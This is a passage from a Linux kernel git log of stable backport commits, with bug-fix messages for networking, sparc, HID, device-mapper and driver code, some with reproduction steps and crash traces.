Kroah-Hartman Signed-off-by: Pranav Vashi commit ec9c1efccb07e60bf7a601e2dc5eb98419ef473c Author: Catalin Marinas Date: Fri Mar 20 16:48:13 2015 +0000 net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour [ Upstream commit 91edd096e224941131f896b86838b1e59553696a ] Commit db31c55a6fb2 (net: clamp ->msg_namelen instead of returning an error) introduced the clamping of msg_namelen when the unsigned value was larger than sizeof(struct sockaddr_storage). This caused a msg_namelen of -1 to be valid. The native code was subsequently fixed by commit dbb490b96584 (net: socket: error on a negative msg_namelen). In addition, the native code sets msg_namelen to 0 when msg_name is NULL. This was done in commit (6a2a2b3ae075 net:socket: set msg_namelen to 0 if msg_name is passed as NULL in msghdr struct from userland) and subsequently updated by 08adb7dabd48 (fold verify_iovec() into copy_msghdr_from_user()). This patch brings the get_compat_msghdr() in line with copy_msghdr_from_user(). Fixes: db31c55a6fb2 (net: clamp ->msg_namelen instead of returning an error) Cc: David S. Miller Cc: Dan Carpenter Signed-off-by: Catalin Marinas Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 20e1b9ab2a3626856150d286f3d48397b3d113b0 Author: Josh Hunt Date: Thu Mar 19 19:19:30 2015 -0400 tcp: fix tcp fin memory accounting [ Upstream commit d22e1537181188e5dc8cbc51451832625035bdc2 ] tcp_send_fin() does not account for the memory it allocates properly, so sk_forward_alloc can be negative in cases where we've sent a FIN: ss example output (ss -amn | grep -B1 f4294): tcp FIN-WAIT-1 0 1 192.168.0.1:45520 192.0.2.1:8080 skmem:(r0,rb87380,t0,tb87380,f4294966016,w1280,o0,bl0) Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d35a3e222519e8385352456ce13c7f12fca37de8 Author: Ondrej Zary Date: Wed Mar 18 23:01:01 2015 +0100 Revert "net: cx82310_eth: use common match macro" [ Upstream commit 8d006e0105978619fb472e150c88b0d49337fe2b ] This reverts commit 11ad714b98f6d9ca0067568442afe3e70eb94845 because it breaks cx82310_eth. The custom USB_DEVICE_CLASS macro matches bDeviceClass, bDeviceSubClass and bDeviceProtocol but the common USB_DEVICE_AND_INTERFACE_INFO matches bInterfaceClass, bInterfaceSubClass and bInterfaceProtocol instead, which are not specified. Signed-off-by: Ondrej Zary Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2f2b363b12d0c210d22a270bd6d50ae3242f369a Author: Al Viro Date: Sat Mar 14 05:34:56 2015 +0000 rxrpc: bogus MSG_PEEK test in rxrpc_recvmsg() [ Upstream commit 7d985ed1dca5c90535d67ce92ef6ca520302340a ] [I would really like an ACK on that one from dhowells; it appears to be quite straightforward, but...] MSG_PEEK isn't passed to ->recvmsg() via msg->msg_flags; as the matter of fact, neither the kernel users of rxrpc, nor the syscalls ever set that bit in there. It gets passed via flags; in fact, another such check in the same function is done correctly - as flags & MSG_PEEK. It had been that way (effectively disabled) for 8 years, though, so the patch needs beating up - that case had never been tested. If it is correct, it's -stable fodder. Signed-off-by: Al Viro Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f5c1ab50ad883595993fad85297d19759a5ae354 Author: Al Viro Date: Sat Mar 14 05:22:21 2015 +0000 caif: fix MSG_OOB test in caif_seqpkt_recvmsg() [ Upstream commit 3eeff778e00c956875c70b145c52638c313dfb23 ] It should be checking flags, not msg->msg_flags. It's ->sendmsg() instances that need to look for that in ->msg_flags, ->recvmsg() ones (including the other ->recvmsg() instance in that file, as well as unix_dgram_recvmsg() this one claims to be imitating) check in flags. Braino had been introduced in commit dcda13 ("caif: Bugfix - use MSG_TRUNC in receive") back in 2010, so it goes quite a while back. Signed-off-by: Al Viro Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21dba4f21f1a38e5ae1dc0d239e2fca8543cb7f0 Author: Eric Dumazet Date: Fri Mar 13 09:49:59 2015 -0700 inet_diag: fix possible overflow in inet_diag_dump_one_icsk() [ Upstream commit c8e2c80d7ec00d020320f905822bf49c5ad85250 ] inet_diag_dump_one_icsk() allocates too small skb. Add inet_sk_attr_size() helper right before inet_sk_diag_fill() so that it can be updated if/when new attributes are added. iproute2/ss currently does not use this dump_one() interface, this might explain nobody noticed this problem yet. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cb33af203d297173f78d8230bea7091c12479c69 Author: Arnd Bergmann Date: Wed Mar 11 22:46:59 2015 +0100 rds: avoid potential stack overflow [ Upstream commit f862e07cf95d5b62a5fc5e981dd7d0dbaf33a501 ] The rds_iw_update_cm_id function stores a large 'struct rds_sock' object on the stack in order to pass a pair of addresses. This happens to just fit withint the 1024 byte stack size warning limit on x86, but just exceed that limit on ARM, which gives us this warning: net/rds/iw_rdma.c:200:1: warning: the frame size of 1056 bytes is larger than 1024 bytes [-Wframe-larger-than=] As the use of this large variable is basically bogus, we can rearrange the code to not do that. Instead of passing an rds socket into rds_iw_get_device, we now just pass the two addresses that we have available in rds_iw_update_cm_id, and we change rds_iw_get_mr accordingly, to create two address structures on the stack there. Signed-off-by: Arnd Bergmann Acked-by: Sowmini Varadhan Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 68ec2980d0f947ff0c78089f1004f4893c4d9264 Author: Alexey Kodanev Date: Wed Mar 11 14:29:17 2015 +0300 net: sysctl_net_core: check SNDBUF and RCVBUF for min length [ Upstream commit b1cb59cf2efe7971d3d72a7b963d09a512d994c9 ] sysctl has sysctl.net.core.rmem_*/wmem_* parameters which can be set to incorrect values. Given that 'struct sk_buff' allocates from rcvbuf, incorrectly set buffer length could result to memory allocation failures. For example, set them as follows: # sysctl net.core.rmem_default=64 net.core.wmem_default = 64 # sysctl net.core.wmem_default=64 net.core.wmem_default = 64 # ping localhost -s 1024 -i 0 > /dev/null This could result to the following failure: skbuff: skb_over_panic: text:ffffffff81628db4 len:-32 put:-32 head:ffff88003a1cc200 data:ffff88003a1cc200 tail:0xffffffe0 end:0xc0 dev: kernel BUG at net/core/skbuff.c:102! invalid opcode: 0000 [#1] SMP ... task: ffff88003b7f5550 ti: ffff88003ae88000 task.ti: ffff88003ae88000 RIP: 0010:[] [] skb_put+0xa1/0xb0 RSP: 0018:ffff88003ae8bc68 EFLAGS: 00010296 RAX: 000000000000008d RBX: 00000000ffffffe0 RCX: 0000000000000000 RDX: ffff88003fdcf598 RSI: ffff88003fdcd9c8 RDI: ffff88003fdcd9c8 RBP: ffff88003ae8bc88 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000001 R11: 00000000000002b2 R12: 0000000000000000 R13: 0000000000000000 R14: ffff88003d3f7300 R15: ffff88000012a900 FS: 00007fa0e2b4a840(0000) GS:ffff88003fc00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000d0f7e0 CR3: 000000003b8fb000 CR4: 00000000000006f0 Stack: ffff88003a1cc200 00000000ffffffe0 00000000000000c0 ffffffff818cab1d ffff88003ae8bd68 ffffffff81628db4 ffff88003ae8bd48 ffff88003b7f5550 ffff880031a09408 ffff88003b7f5550 ffff88000012aa48 ffff88000012ab00 Call Trace: [] unix_stream_sendmsg+0x2c4/0x470 [] sock_write_iter+0x146/0x160 [] new_sync_write+0x92/0xd0 [] vfs_write+0xd6/0x180 [] SyS_write+0x59/0xd0 [] system_call_fastpath+0x12/0x17 Code: 00 00 48 89 44 24 10 8b 87 c8 00 00 00 48 89 44 24 08 48 8b 87 d8 00 00 00 48 c7 c7 30 db 91 81 48 89 04 24 31 c0 e8 4f a8 0e 00 <0f> 0b eb fe 66 66 2e 0f 1f 84 00 00 00 00 00 55 48 89 e5 48 83 RIP [] skb_put+0xa1/0xb0 RSP Kernel panic - not syncing: Fatal exception Moreover, the possible minimum is 1, so we can get another kernel panic: ... BUG: unable to handle kernel paging request at ffff88013caee5c0 IP: [] __alloc_skb+0x12f/0x1f0 ... Signed-off-by: Alexey Kodanev Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 660d9e85706d5519a9ca1d64ea775f6456b426da Author: David S. Miller Date: Mon Mar 23 09:22:10 2015 -0700 sparc64: Fix several bugs in memmove(). [ Upstream commit 2077cef4d5c29cf886192ec32066f783d6a80db8 ] Firstly, handle zero length calls properly. Believe it or not there are a few of these happening during early boot. Next, we can't just drop to a memcpy() call in the forward copy case where dst <= src. The reason is that the cache initializing stores used in the Niagara memcpy() implementations can end up clearing out cache lines before we've sourced their original contents completely. For example, considering NG4memcpy, the main unrolled loop begins like this: load src + 0x00 load src + 0x08 load src + 0x10 load src + 0x18 load src + 0x20 store dst + 0x00 Assume dst is 64 byte aligned and let's say that dst is src - 8 for this memcpy() call. That store at the end there is the one to the first line in the cache line, thus clearing the whole line, which thus clobbers "src + 0x28" before it even gets loaded. To avoid this, just fall through to a simple copy only mildly optimized for the case where src and dst are 8 byte aligned and the length is a multiple of 8 as well. We could get fancy and call GENmemcpy() but this is good enough for how this thing is actually used. Reported-by: David Ahern Reported-by: Bob Picco Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5470785bf0ee659e20c4719e8792637399fdc6d8 Author: David Ahern Date: Thu Mar 19 16:06:53 2015 -0400 sparc: Touch NMI watchdog when walking cpus and calling printk [ Upstream commit 31aaa98c248da766ece922bbbe8cc78cfd0bc920 ] With the increase in number of CPUs calls to functions that dump output to console (e.g., arch_trigger_all_cpu_backtrace) can take a long time to complete. If IRQs are disabled eventually the NMI watchdog kicks in and creates more havoc. Avoid by telling the NMI watchdog everything is ok. Signed-off-by: David Ahern Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 478a3f6297edb29eaee47a1ab727e1ea703d6807 Author: David Ahern Date: Thu Mar 19 16:06:17 2015 -0400 sparc: perf: Make counting mode actually work [ Upstream commit d51291cb8f32bfae6b331e1838651f3ddefa73a5 ] Currently perf-stat (aka, counting mode) does not work: $ perf stat ls ... Performance counter stats for 'ls': 1.585665 task-clock (msec) # 0.580 CPUs utilized 24 context-switches # 0.015 M/sec 0 cpu-migrations # 0.000 K/sec 86 page-faults # 0.054 M/sec cycles stalled-cycles-frontend stalled-cycles-backend instructions branches branch-misses 0.002735100 seconds time elapsed The reason is that state is never reset (stays with PERF_HES_UPTODATE set). Add a call to sparc_pmu_enable_event during the added_event handling. Clean up the encoding since pmu_start calls sparc_pmu_enable_event which does the same. Passing PERF_EF_RELOAD to sparc_pmu_start means the call to sparc_perf_event_set_period can be removed as well. With this patch: $ perf stat ls ... Performance counter stats for 'ls': 1.552890 task-clock (msec) # 0.552 CPUs utilized 24 context-switches # 0.015 M/sec 0 cpu-migrations # 0.000 K/sec 86 page-faults # 0.055 M/sec 5,748,997 cycles # 3.702 GHz stalled-cycles-frontend:HG stalled-cycles-backend:HG 1,684,362 instructions:HG # 0.29 insns per cycle 295,133 branches:HG # 190.054 M/sec 28,007 branch-misses:HG # 9.49% of all branches 0.002815665 seconds time elapsed Signed-off-by: David Ahern Acked-by: Bob Picco Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f625a586af5b75bf4f9de532a44c4eb18fea6e31 Author: David Ahern Date: Thu Mar 19 16:05:57 2015 -0400 sparc: perf: Remove redundant perf_pmu_{en|dis}able calls [ Upstream commit 5b0d4b5514bbcce69b516d0742f2cfc84ebd6db3 ] perf_pmu_disable is called by core perf code before pmu->del and the enable function is called by core perf code afterwards. No need to call again within sparc_pmu_del. Ditto for pmu->add and sparc_pmu_add. Signed-off-by: David Ahern Acked-by: Bob Picco Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9086b4042e30baffda78ab9839d90277f63b2867 Author: Rob Gardner Date: Mon Mar 2 23:16:55 2015 -0700 sparc: semtimedop() unreachable due to comparison error [ Upstream commit 53eb2516972b8c4628651dfcb926cb9ef8b2864a ] A bug was reported that the semtimedop() system call was always failing eith ENOSYS. Since SEMCTL is defined as 3, and SEMTIMEDOP is defined as 4, the comparison "call <= SEMCTL" will always prevent SEMTIMEDOP from getting through to the semaphore ops switch statement. This is corrected by changing the comparison to "call <= SEMTIMEDOP". Orabug: 20633375 Signed-off-by: Rob Gardner Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21e49ec1ef72fb512dff1a255fc275457884378d Author: Andreas Larsson Date: Thu Dec 18 13:23:23 2014 +0100 sparc32: destroy_context() and switch_mm() needs to disable interrupts. [ Upstream commit 66d0f7ec9f1038452178b1993fc07fd96d30fd38 ] Load balancing can be triggered in the critical sections protected by srmmu_context_spinlock in destroy_context() and switch_mm() and can hang the cpu waiting for the rq lock of another cpu that in turn has called switch_mm hangning on srmmu_context_spinlock leading to deadlock. So, disable interrupt while taking srmmu_context_spinlock in destroy_context() and switch_mm() so we don't deadlock. See also commit 77b838fa1ef0 ("[SPARC64]: destroy_context() needs to disable interrupts.") Signed-off-by: Andreas Larsson Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c2a80dee3802c89a2b59ec1cac7747d040e94636 Author: Alexander Drozdov Date: Thu Mar 5 10:29:39 2015 +0300 ipv4: ip_check_defrag should not assume that skb_network_offset is zero [ Upstream commit 3e32e733d1bbb3f227259dc782ef01d5706bdae0 ] ip_check_defrag() may be used by af_packet to defragment outgoing packets. skb_network_offset() of af_packet's outgoing packets is not zero. Signed-off-by: Alexander Drozdov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cfb867bcf0384be4d5745851ef5af5173be2adc2 Author: Alexander Drozdov Date: Tue Feb 17 13:33:46 2015 +0300 ipv4: ip_check_defrag should correctly check return value of skb_copy_bits [ Upstream commit fba04a9e0c869498889b6445fd06cbe7da9bb834 ] skb_copy_bits() returns zero on success and negative value on error, so it is needed to invert the condition in ip_check_defrag(). Fixes: 1bf3751ec90c ("ipv4: ip_check_defrag must not modify skb before unsharing") Signed-off-by: Alexander Drozdov Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5fe1d31838a7e1a54cecb3a674419cfcf9e16c7f Author: Ignacy GawÄ™dzki Date: Fri Feb 13 14:47:05 2015 -0800 gen_stats.c: Duplicate xstats buffer for later use [ Upstream commit 1c4cff0cf55011792125b6041bc4e9713e46240f ] The gnet_stats_copy_app() function gets called, more often than not, with its second argument a pointer to an automatic variable in the caller's stack. Therefore, to avoid copying garbage afterwards when calling gnet_stats_finish_copy(), this data is better copied to a dynamically allocated memory that gets freed after use. [xiyou.wangcong@gmail.com: remove a useless kfree()] Signed-off-by: Ignacy GawÄ™dzki Signed-off-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e2343675e990c0b854fd990f7e0b82d534f9b3e1 Author: WANG Cong Date: Fri Feb 13 13:56:53 2015 -0800 rtnetlink: call ->dellink on failure when ->newlink exists [ Upstream commit 7afb8886a05be68e376655539a064ec672de8a8e ] Ignacy reported that when eth0 is down and add a vlan device on top of it like: ip link add link eth0 name eth0.1 up type vlan id 1 We will get a refcount leak: unregister_netdevice: waiting for eth0.1 to become free. Usage count = 2 The problem is when rtnl_configure_link() fails in rtnl_newlink(), we simply call unregister_device(), but for stacked device like vlan, we almost do nothing when we unregister the upper device, more work is done when we unregister the lower device, so call its ->dellink(). Reported-by: Ignacy Gawedzki Signed-off-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 15336f72226dcccd3eeb7fcda1108a126f584b66 Author: Martin KaFai Lau Date: Thu Feb 12 16:14:08 2015 -0800 ipv6: fix ipv6_cow_metrics for non DST_HOST case [ Upstream commit 3b4711757d7903ab6fa88a9e7ab8901b8227da60 ] ipv6_cow_metrics() currently assumes only DST_HOST routes require dynamic metrics allocation from inetpeer. The assumption breaks when ndisc discovered router with RTAX_MTU and RTAX_HOPLIMIT metric. Refer to ndisc_router_discovery() in ndisc.c and note that dst_metric_set() is called after the route is created. This patch creates the metrics array (by calling dst_cow_metrics_generic) in ipv6_cow_metrics(). Test: radvd.conf: interface qemubr0 { AdvLinkMTU 1300; AdvCurHopLimit 30; prefix fd00:face:face:face::/64 { AdvOnLink on; AdvAutonomous on; AdvRouterAddr off; }; }; Before: [root@qemu1 ~]# ip -6 r show | egrep -v unreachable fd00:face:face:face::/64 dev eth0 proto kernel metric 256 expires 27sec fe80::/64 dev eth0 proto kernel metric 256 default via fe80::74df:d0ff:fe23:8ef2 dev eth0 proto ra metric 1024 expires 27sec After: [root@qemu1 ~]# ip -6 r show | egrep -v unreachable fd00:face:face:face::/64 dev eth0 proto kernel metric 256 expires 27sec mtu 1300 fe80::/64 dev eth0 proto kernel metric 256 mtu 1300 default via fe80::74df:d0ff:fe23:8ef2 dev eth0 proto ra metric 1024 expires 27sec mtu 1300 hoplimit 30 Fixes: 8e2ec639173f325 (ipv6: don't use inetpeer to store metrics for routes.) Signed-off-by: Martin KaFai Lau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 09d13c2b2a30dab6eb7c4c93d8c7d10fc4caf47f Author: Daniel Borkmann Date: Thu Feb 5 18:44:04 2015 +0100 rtnetlink: ifla_vf_policy: fix misuses of NLA_BINARY [ Upstream commit 364d5716a7adb91b731a35765d369602d68d2881 ] ifla_vf_policy[] is wrong in advertising its individual member types as NLA_BINARY since .type = NLA_BINARY in combination with .len declares the len member as *max* attribute length [0, len]. The issue is that when do_setvfinfo() is being called to set up a VF through ndo handler, we could set corrupted data if the attribute length is less than the size of the related structure itself. The intent is exactly the opposite, namely to make sure to pass at least data of minimum size of len. Fixes: ebc08a6f47ee ("rtnetlink: Add VF config code to rtnetlink") Cc: Mitch Williams Cc: Jeff Kirsher Signed-off-by: Daniel Borkmann Acked-by: Thomas Graf Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a6bed6a0ed5d97abd0919293aca6774b9f3cf498 Author: Greg Kroah-Hartman Date: Wed Mar 18 13:22:50 2015 +0100 Linux 3.10.72 Signed-off-by: Pranav Vashi commit 5c513ce262078c6481a243d12c50ad3b7eb3c9d1 Author: Sergey Ryazanov Date: Wed Feb 4 00:21:13 2015 +0300 ath5k: fix spontaneus AR5312 freezes commit 8bfae4f9938b6c1f033a5159febe97e441d6d526 upstream. Sometimes while CPU have some load and ath5k doing the wireless interface reset the whole WiSoC completely freezes. Set of tests shows that using atomic delay function while we wait interface reset helps to avoid such freezes. The easiest way to reproduce this issue: create a station interface, start continous scan with wpa_supplicant and load CPU by something. Or just create multiple station interfaces and put them all in continous scan. This patch partially reverts the commit 1846ac3dbec0 ("ath5k: Use usleep_range where possible"), which replaces initial udelay() by usleep_range(). I do not know actual source of this issue, but all looks like that HW freeze is caused by transaction on internal SoC bus, while wireless block is in reset state. Also I should note that I do not know how many chips are affected, but I did not see this issue with chips, other than AR5312. CC: Jiri Slaby CC: Nick Kossifidis CC: Luis R. Rodriguez Fixes: 1846ac3dbec0 ("ath5k: Use usleep_range where possible") Reported-by: Christophe Prevotaux Tested-by: Christophe Prevotaux Tested-by: Eric Bree Signed-off-by: Sergey Ryazanov Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 49af1c2dbeb32eb85b30692920e71cfc5654e5be Author: Chris Wilson Date: Sun Mar 1 10:41:37 2015 +0000 ACPI / video: Load the module even if ACPI is disabled commit 6e17cb12881ba8d5e456b89f072dc6b70048af36 upstream. i915.ko depends upon the acpi/video.ko module and so refuses to load if ACPI is disabled at runtime if for example the BIOS is broken beyond repair. acpi/video provides an optional service for i915.ko and so we should just allow the modules to load, but do no nothing in order to let the machines boot correctly. Reported-by: Bill Augur Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Jani Nikula Acked-by: Aaron Lu [ rjw: Fixed up the new comment in acpi_video_init() ] Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 71fc8322a822d16fb3c9d32ac44e48d2dd53c34b Author: Alex Deucher Date: Thu Feb 19 16:02:15 2015 -0500 drm/radeon: fix 1 RB harvest config setup for TN/RL commit dbfb00c3e7e18439f2ebf67fe99bf7a50b5bae1e upstream. The logic was reversed from what the hw actually exposed. Fixes graphics corruption in certain harvest configurations. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e81cb19cb0508ea840a49295343fb3bd2cd9ab9c Author: Fernando Soto Date: Fri Jun 14 23:13:35 2013 +0000 Drivers: hv: vmbus: incorrect device name is printed when child device is unregistered commit 84672369ffb98a51d4ddf74c20a23636da3ad615 upstream. Whenever a device is unregistered in vmbus_device_unregister (drivers/hv/vmbus_drv.c), the device name in the log message may contain garbage as the memory has already been freed by the time pr_info is called. Log example: [ 3149.170475] hv_vmbus: child device àõsèè0_5 unregistered By logging the message just before calling device_unregister, the correct device name is printed: [ 3145.034652] hv_vmbus: child device vmbus_0_5 unregistered Also changing register & unregister messages to debug to avoid unnecessarily cluttering the kernel log. Signed-off-by: Fernando M Soto Signed-off-by: K. Y. Srinivasan Cc: Joseph Salisbury Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1073d955de44786265ee6490dc50ccd5ee420b13 Author: Jiri Kosina Date: Tue Jan 6 22:34:19 2015 +0100 HID: fixup the conflicting keyboard mappings quirk commit 8e7b341037db1835ee6eea64663013cbfcf33575 upstream. The ignore check that got added in 6ce901eb61 ("HID: input: fix confusion on conflicting mappings") needs to properly check for VARIABLE reports as well (ARRAY reports should be ignored), otherwise legitimate keyboards might break. Fixes: 6ce901eb61 ("HID: input: fix confusion on conflicting mappings") Reported-by: Fredrik Hallenberg Reported-by: David Herrmann Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6c5ce55105083954eb5bb7e07f400ae64d041574 Author: David Herrmann Date: Mon Dec 29 15:21:26 2014 +0100 HID: input: fix confusion on conflicting mappings commit 6ce901eb61aa30ba8565c62049ee80c90728ef14 upstream. On an PC-101/103/104 keyboard (American layout) the 'Enter' key and its neighbours look like this: +---+ +---+ +-------+ | 1 | | 2 | | 5 | +---+ +---+ +-------+ +---+ +-----------+ | 3 | | 4 | +---+ +-----------+ On a PC-102/105 keyboard (European layout) it looks like this: +---+ +---+ +-------+ | 1 | | 2 | | | +---+ +---+ +-+ 4 | +---+ +---+ | | | 3 | | 5 | | | +---+ +---+ +-----+ (Note that the number of keys is the same, but key '5' is moved down and the shape of key '4' is changed. Keys '1' to '3' are exactly the same.) The keys 1-4 report the same scan-code in HID in both layouts, even though the keysym they produce is usually different depending on the XKB-keymap used by user-space. However, key '5' (US 'backslash'/'pipe') reports 0x31 for the upper layout and 0x32 for the lower layout, as defined by the HID spec. This is highly confusing as the linux-input API uses a single keycode for both. So far, this was never a problem as there never has been a keyboard with both of those keys present at the same time. It would have to look something like this: +---+ +---+ +-------+ | 1 | | 2 | | x31 | +---+ +---+ +-------+ +---+ +---+ +-----+ | 3 | |x32| | 4 | +---+ +---+ +-----+ HID can represent such a keyboard, but the linux-input API cannot. Furthermore, any user-space mapping would be confused by this and, luckily, no-one ever produced such hardware. Now, the HID input layer fixed this mess by mapping both 0x31 and 0x32 to the same keycode (KEY_BACKSLASH==0x2b). As only one of both physical keys is present on a hardware, this works just fine. Lets introduce hardware-vendors into this: ------------------------------------------ Unfortunately, it seems way to expensive to produce a different device for American and European layouts. Therefore, hardware-vendors put both keys, (0x31 and 0x32) on the same keyboard, but only one of them is hooked up to the physical button, the other one is 'dead'. This means, they can use the same hardware, with a different button-layout and automatically produce the correct HID events for American *and* European layouts. This is unproblematic for normal keyboards, as the 'dead' key will never report any KEY-DOWN events. But RollOver keyboards send the whole matrix on each key-event, allowing n-key roll-over mode. This means, we get a 0x31 and 0x32 event on each key-press. One of them will always be 0, the other reports the real state. As we map both to the same keycode, we will get spurious key-events, even though the real key-state never changed. The easiest way would be to blacklist 'dead' keys and never handle those. We could simply read the 'country' tag of USB devices and blacklist either key according to the layout. But... hardware vendors... want the same device for all countries and thus many of them set 'country' to 0 for all devices. Meh.. So we have to deal with this properly. As we cannot know which of the keys is 'dead', we either need a heuristic and track those keys, or we simply make use of our value-tracking for HID fields. We simply ignore HID events for absolute data if the data didn't change. As HID tracks events on the HID level, we haven't done the keycode translation, yet. Therefore, the 'dead' key is tracked independently of the real key, therefore, any events on it will be ignored. This patch simply discards any HID events for absolute data if it didn't change compared to the last report. We need to ignore relative and buffered-byte reports for obvious reasons. But those cannot be affected by this bug, so we're fine. Preferably, we'd do this filtering on the HID-core level. But this might break a lot of custom drivers, if they do not follow the HID specs. Therefore, we do this late in hid-input just before we inject it into the input layer (which does the exact same filtering, but on the keycode level). If this turns out to break some devices, we might have to limit filtering to EV_KEY events. But lets try to do the Right Thing first, and properly filter any absolute data that didn't change. This patch is tagged for 'stable' as it fixes a lot of n-key RollOver hardware. We might wanna wait with backporting for a while, before we know it doesn't break anything else, though. Reported-by: Adam Goode Reported-by: Fredrik Hallenberg Tested-by: Fredrik Hallenberg Signed-off-by: David Herrmann Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd9aff62fb38386a0a39e177ae5d74b1e7115040 Author: Ian Abbott Date: Mon Jan 19 14:47:27 2015 +0000 staging: comedi: cb_pcidas64: fix incorrect AI range code handling commit be8e89087ec2d2c8a1ad1e3db64bf4efdfc3c298 upstream. The hardware range code values and list of valid ranges for the AI subdevice is incorrect for several supported boards. The hardware range code values for all boards except PCI-DAS4020/12 is determined by calling `ai_range_bits_6xxx()` based on the maximum voltage of the range and whether it is bipolar or unipolar, however it only returns the correct hardware range code for the PCI-DAS60xx boards. For PCI-DAS6402/16 (and /12) it returns the wrong code for the unipolar ranges. For PCI-DAS64/Mx/16 it returns the wrong code for all the ranges and the comedi range table is incorrect. Change `ai_range_bits_6xxx()` to use a look-up table pointed to by new member `ai_range_codes` of `struct pcidas64_board` to map the comedi range table indices to the hardware range codes. Use a new comedi range table for the PCI-DAS64/Mx/16 boards (and the commented out variants). Signed-off-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e9534e9310061c3b1309e6211257c51b9b2741ea Author: Mikulas Patocka Date: Tue Feb 17 14:34:00 2015 -0500 dm snapshot: fix a possible invalid memory access on unload commit 22aa66a3ee5b61e0f4a0bfeabcaa567861109ec3 upstream. When the snapshot target is unloaded, snapshot_dtr() waits until pending_exceptions_count drops to zero. Then, it destroys the snapshot. Therefore, the function that decrements pending_exceptions_count should not touch the snapshot structure after the decrement. pending_complete() calls free_pending_exception(), which decrements pending_exceptions_count, and then it performs up_write(&s->lock) and it calls retry_origin_bios() which dereferences s->origin. These two memory accesses to the fields of the snapshot may touch the dm_snapshot struture after it is freed. This patch moves the call to free_pending_exception() to the end of pending_complete(), so that the snapshot will not be destroyed while pending_complete() is in progress. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 102d3df60553426c6452e3e789cccc9b03598faf Author: Mikulas Patocka Date: Tue Feb 17 14:30:53 2015 -0500 dm: fix a race condition in dm_get_md commit 2bec1f4a8832e74ebbe859f176d8a9cb20dd97f4 upstream. The function dm_get_md finds a device mapper device with a given dev_t, increases the reference count and returns the pointer. dm_get_md calls dm_find_md, dm_find_md takes _minor_lock, finds the device, tests that the device doesn't have DMF_DELETING or DMF_FREEING flag, drops _minor_lock and returns pointer to the device. dm_get_md then calls dm_get. dm_get calls BUG if the device has the DMF_FREEING flag, otherwise it increments the reference count. There is a possible race condition - after dm_find_md exits and before dm_get is called, there are no locks held, so the device may disappear or DMF_FREEING flag may be set, which results in BUG. To fix this bug, we need to call dm_get while we hold _minor_lock. This patch renames dm_find_md to dm_get_md and changes it so that it calls dm_get while holding the lock. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8a40749a489ef08a07e89706b3d693aa31314f74 Author: Darrick J. Wong Date: Fri Feb 13 11:05:37 2015 -0800 dm io: reject unsupported DISCARD requests with EOPNOTSUPP commit 37527b869207ad4c208b1e13967d69b8bba1fbf9 upstream. I created a dm-raid1 device backed by a device that supports DISCARD and another device that does NOT support DISCARD with the following dm configuration: # echo '0 2048 mirror core 1 512 2 /dev/sda 0 /dev/sdb 0' | dmsetup create moo # lsblk -D NAME DISC-ALN DISC-GRAN DISC-MAX DISC-ZERO sda 0 4K 1G 0 `-moo (dm-0) 0 4K 1G 0 sdb 0 0B 0B 0 `-moo (dm-0) 0 4K 1G 0 Notice that the mirror device /dev/mapper/moo advertises DISCARD support even though one of the mirror halves doesn't. If I issue a DISCARD request (via fstrim, mount -o discard, or ioctl BLKDISCARD) through the mirror, kmirrord gets stuck in an infinite loop in do_region() when it tries to issue a DISCARD request to sdb. The problem is that when we call do_region() against sdb, num_sectors is set to zero because q->limits.max_discard_sectors is zero. Therefore, "remaining" never 